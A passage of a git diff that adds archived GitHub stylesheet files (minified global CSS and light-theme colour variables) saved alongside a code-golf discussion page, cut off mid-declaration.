543px){.minimized-comment>details>summary>div{flex-direction:column}.minimized-comment>details>summary>div .review-comment-contents{align-left:flex-start}}.hx_disabled-input{margin-right:-4px !important;margin-left:-4px !important}.hx_disabled-input sidebar-memex-input[disabled]:not(.no-pointer) *{cursor:pointer}.hx_disabled-input sidebar-memex-input:not([disabled]) .Box-row--hover-gray{background-color:var(--color-canvas-subtle)}.hx_disabled-input .Box-row--hover-gray svg.octicon-pencil{visibility:hidden;opacity:0}.hx_disabled-input .Box-row--hover-gray:hover,.hx_disabled-input .Box-row--hover-gray:focus{padding-top:8px !important;padding-bottom:8px !important}.hx_disabled-input .Box-row--hover-gray:hover svg.octicon-pencil,.hx_disabled-input .Box-row--hover-gray:focus svg.octicon-pencil{visibility:visible;opacity:1}.hx_disabled-input input:not(:disabled){margin-top:8px !important;margin-bottom:8px !important}.hx_disabled-input input[disabled],.hx_disabled-input select[disabled],.hx_disabled-input .form-control[contenteditable=false]{padding-right:0;padding-left:0;margin-right:0;color:var(--color-fg-default) !important;background:transparent;border:0;box-shadow:none;opacity:1}.hx_disabled-input text-expander input[type=text][disabled]{display:none}.hx_disabled-input text-expander input[type=text][disabled]+div.form-control{display:block}.hx_disabled-input text-expander input[type=text]+div.form-control{display:none}.hx_disabled-input input[type=date][disabled]{display:none}.hx_disabled-input input[type=date][disabled]+div.form-control{display:block}.hx_disabled-input input[type=date]+div.form-control{display:none}.hx_disabled-input input[disabled]::placeholder,.hx_disabled-input selected[disabled]::placeholder{color:var(--color-fg-default) !important}.hx_disabled-input .form-select{background-image:none !important}.hx_disabled-input .Box-row--focus-gray:focus{background:var(--color-canvas-subtle)}.summary-iteration .inline-status{display:none}.summary-iteration .block-status{display:inline-block}.list-iteration .inline-status{display:inline}.list-iteration .block-status{display:none}.hx_tabnav-in-dropdown{border-radius:5px 5px 0 0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-current]:not([aria-current=false]){border-left:0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-current]:not([aria-current=false]){border-right:0}.hx_tabnav-in-dropdown .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tab[aria-current]:not([aria-current=false]){margin-top:-1px;background-color:var(--color-canvas-overlay)}.hx_tabnav-in-dropdown #cloud-tab[aria-selected=false]::after{position:absolute;top:-14px;right:10px;left:auto;z-index:10;display:inline-block;content:"";border:7px solid transparent;border-bottom:7px solid var(--color-canvas-subtle)}.details-overlay-dark[open]>summary::before{z-index:111 !important}.turbo-progress-bar{z-index:2147483647}.timeline-comment .previewable-comment-form textarea{max-height:none} + +/*# sourceMappingURL=global-0d69ca7f0327.css.map*/ \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css new file mode 100644 index 0000000..044e8a7 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css @@ -0,0 +1,3 @@ +:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px 